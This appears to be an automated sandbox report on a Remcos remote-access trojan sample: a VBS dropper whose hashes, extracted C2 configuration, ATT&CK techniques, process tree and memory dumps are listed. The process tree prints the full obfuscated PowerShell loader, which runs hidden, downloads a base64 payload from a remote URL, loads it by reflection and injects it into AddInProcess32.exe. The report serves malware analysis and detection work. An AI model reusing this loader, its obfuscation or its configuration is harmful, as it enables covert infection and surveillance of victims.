remcos | 8140d8019e144b3998a9fc991c45be89eb5f83c58f04627ce34c49b3f8d5d368

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
02-10-2024 03:26

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General

Target

8140d8019e144b3998a9fc991c45be89eb5f83c58f04627ce34c49b3f8d5d368.vbs
Size

499KB
MD5

4a31a1de3d99c80d908ddda051e2f761
SHA1

302e19edb2c96cc78cb866c2d78d7f2fc77e8297
SHA256

8140d8019e144b3998a9fc991c45be89eb5f83c58f04627ce34c49b3f8d5d368
SHA512

8a35d105e2c6021fa81e86ca610614867f3165d261c1b9f92f236a497698475b3c6e072b950f8aabeea4831be446f36e2cf4335d306834d987b46d0a5867d284
SSDEEP

12288:W5Fy+b4KOMEA35NC3O6xGYIWO2hnf/us6fM/cgXruE528e7XRPa2d+dbw3Td57g:Wu+GGGxv/HL8o

Score

10^/10

remcos tsost discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

TsosT

23spt.duckdns.org:3000

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-DCR6HW
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	4828	powershell.exe
22	4828	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3272	powershell.exe
4828	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4828 set thread context of 3276	4828	powershell.exe	89

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3272	powershell.exe
3272	powershell.exe
4828	powershell.exe
4828	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3272	powershell.exe
Token: SeDebugPrivilege	4828	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3276	AddInProcess32.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 4012 wrote to memory of 3272	4012	WScript.exe	82
PID 4012 wrote to memory of 3272	4012	WScript.exe	82
PID 3272 wrote to memory of 4828	3272	powershell.exe	84
PID 3272 wrote to memory of 4828	3272	powershell.exe	84
PID 4828 wrote to memory of 3276	4828	powershell.exe	89
PID 4828 wrote to memory of 3276	4828	powershell.exe	89
PID 4828 wrote to memory of 3276	4828	powershell.exe	89
PID 4828 wrote to memory of 3276	4828	powershell.exe	89
PID 4828 wrote to memory of 3276	4828	powershell.exe	89
PID 4828 wrote to memory of 3276	4828	powershell.exe	89
PID 4828 wrote to memory of 3276	4828	powershell.exe	89
PID 4828 wrote to memory of 3276	4828	powershell.exe	89
PID 4828 wrote to memory of 3276	4828	powershell.exe	89
PID 4828 wrote to memory of 3276	4828	powershell.exe	89
PID 4828 wrote to memory of 3276	4828	powershell.exe	89
PID 4828 wrote to memory of 3276	4828	powershell.exe	89

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8140d8019e144b3998a9fc991c45be89eb5f83c58f04627ce34c49b3f8d5d368.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoKFZBUklhQkxlICcqTURyKicpLm5hTWVbMywxMSwyXS1qT2lOJycpKCAoJ3cxJysnWnVybCA9IFZ3M2h0dHAnKydzOi8vJysnaScrJ2E2JysnMDAxMDAudXMuYXJjaGl2ZS5vcmcnKycvMjQnKycvaScrJ3RlbXMvZGV0JysnYWgtJysnbm90ZS12LycrJ0RldGFoTm8nKyd0ZVYudHgnKyd0VnczOycrJ3cxWmJhc2U2JysnNEMnKydvbnRlJysnbnQgPSAoTmV3JysnLU9iaicrJ2VjdCAnKydTeScrJ3N0ZW0uTmV0JysnLlcnKydlYkNsaWVudCkuRG93bmxvYWRTJysndHJpbmcnKycodzFadXJsKTt3JysnMVpiJysnaW4nKydhcicrJ3lDb250ZW50ID0gWycrJ1N5Jysnc3RlbS5DJysnb24nKyd2JysnZXJ0JysnXTo6RicrJ3InKydvbUJhcycrJ2U2NFN0cmluZycrJyh3MVpiYXNlNicrJzRDb250ZScrJ250KTt3MVphc3NlbWJseSA9IFsnKydSZWZsZWN0JysnaScrJ29uLkFzJysnc2VtYmx5XScrJzo6TG9hZCcrJygnKyd3MVonKydiaW5hcnlDb24nKyd0ZW50JysnKTt3MVp0JysneXBlID0gdzFaYXNzJysnZW1iJysnbHkuR2V0VHlwJysnZShWdzMnKydSdScrJ25QRS4nKydIb21lJysnVnczKTt3JysnMVptZXRob2QgPSB3JysnMVonKyd0eScrJ3BlLkdldE1ldGhvZChWdzNWQUlWdzMpO3cxWm0nKydldGgnKydvZCcrJy5JbnZva2UodycrJzFabnVsbCwgJysnWycrJ29iamVjdFtdJysnXUAoVicrJ3czMC9wV2NKJysnbicrJy9kLycrJ2UnKydlLmV0c2FwLy86c3B0dGhWdzMgLCcrJyBWdzNkZXNhdGl2YScrJ2RvVnczICwgJysnVicrJ3czZGVzYXRpdmFkbycrJ1Z3JysnMyAsJysnIFZ3M2QnKydlcycrJ2EnKyd0aXZhZG9WJysndzMsVncnKyczQWRkSW5QJysncicrJ28nKydjZXNzMzJWdzMsJysnVicrJ3czVnczKSknKS5yZXBsQWNlKCdWdzMnLFtzVHJJTkddW0NIYVJdMzkpLnJlcGxBY2UoJ3cxWicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3272
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ((VARIaBLe '*MDr*').naMe[3,11,2]-jOiN'')( ('w1'+'Zurl = Vw3http'+'s://'+'i'+'a6'+'00100.us.archive.org'+'/24'+'/i'+'tems/det'+'ah-'+'note-v/'+'DetahNo'+'teV.tx'+'tVw3;'+'w1Zbase6'+'4C'+'onte'+'nt = (New'+'-Obj'+'ect '+'Sy'+'stem.Net'+'.W'+'ebClient).DownloadS'+'tring'+'(w1Zurl);w'+'1Zb'+'in'+'ar'+'yContent = ['+'Sy'+'stem.C'+'on'+'v'+'ert'+']::F'+'r'+'omBas'+'e64String'+'(w1Zbase6'+'4Conte'+'nt);w1Zassembly = ['+'Reflect'+'i'+'on.As'+'sembly]'+'::Load'+'('+'w1Z'+'binaryCon'+'tent'+');w1Zt'+'ype = w1Zass'+'emb'+'ly.GetTyp'+'e(Vw3'+'Ru'+'nPE.'+'Home'+'Vw3);w'+'1Zmethod = w'+'1Z'+'ty'+'pe.GetMethod(Vw3VAIVw3);w1Zm'+'eth'+'od'+'.Invoke(w'+'1Znull, '+'['+'object[]'+']@(V'+'w30/pWcJ'+'n'+'/d/'+'e'+'e.etsap//:sptthVw3 ,'+' Vw3desativa'+'doVw3 , '+'V'+'w3desativado'+'Vw'+'3 ,'+' Vw3d'+'es'+'a'+'tivadoV'+'w3,Vw'+'3AddInP'+'r'+'o'+'cess32Vw3,'+'V'+'w3Vw3))').replAce('Vw3',[sTrING][CHaR]39).replAce('w1Z','$'))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4828
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:3276

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
f705b861fd67ab7c5b2c3e0eef796a9c

SHA1
e4d82b8f2e31be71d51c36f3cc5a21844d1964b2

SHA256
52c1af007dd7a4acaccd54fc0b217a57f25106c74e90b9c4d6ed998bf9175f30

SHA512
a13142702bd46d993c4371dbcc9bc974acd46ab77115564bfbb8d69383b9c9555d94a75c0c13234c9cdd927686caaa5bf23e0b8218a3c04797cc737e9555248a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_34jg4elp.ntp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3272-0-0x00007FFE22273000-0x00007FFE22275000-memory.dmp

Filesize
8KB

Download
memory/3272-1-0x000001CAB1FD0000-0x000001CAB1FF2000-memory.dmp

Filesize
136KB

Download
memory/3272-11-0x00007FFE22270000-0x00007FFE22D31000-memory.dmp

Filesize
10.8MB

Download
memory/3272-12-0x00007FFE22270000-0x00007FFE22D31000-memory.dmp

Filesize
10.8MB

Download
memory/3272-23-0x00007FFE22273000-0x00007FFE22275000-memory.dmp

Filesize
8KB

Download
memory/3272-24-0x00007FFE22270000-0x00007FFE22D31000-memory.dmp

Filesize
10.8MB

Download
memory/3272-32-0x00007FFE22270000-0x00007FFE22D31000-memory.dmp

Filesize
10.8MB

Download
memory/3276-62-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-69-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-36-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-37-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-38-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-39-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-40-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-41-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-42-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-44-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-45-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-46-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-47-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-48-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-49-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-50-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-52-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-53-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-54-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-55-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-56-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-57-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-59-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-60-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-61-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-31-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-63-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-64-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-66-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-67-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-68-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-33-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-70-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-71-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-72-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-25-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-74-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-75-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-76-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-77-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-78-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-80-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-81-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-82-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-83-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-84-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-86-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-87-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-88-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-89-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-90-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-92-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-93-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-94-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-96-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-97-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-98-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-99-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-100-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-102-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-103-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3276-104-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4828-22-0x000001F6A40E0000-0x000001F6A42EC000-memory.dmp

Filesize
2.0MB

Download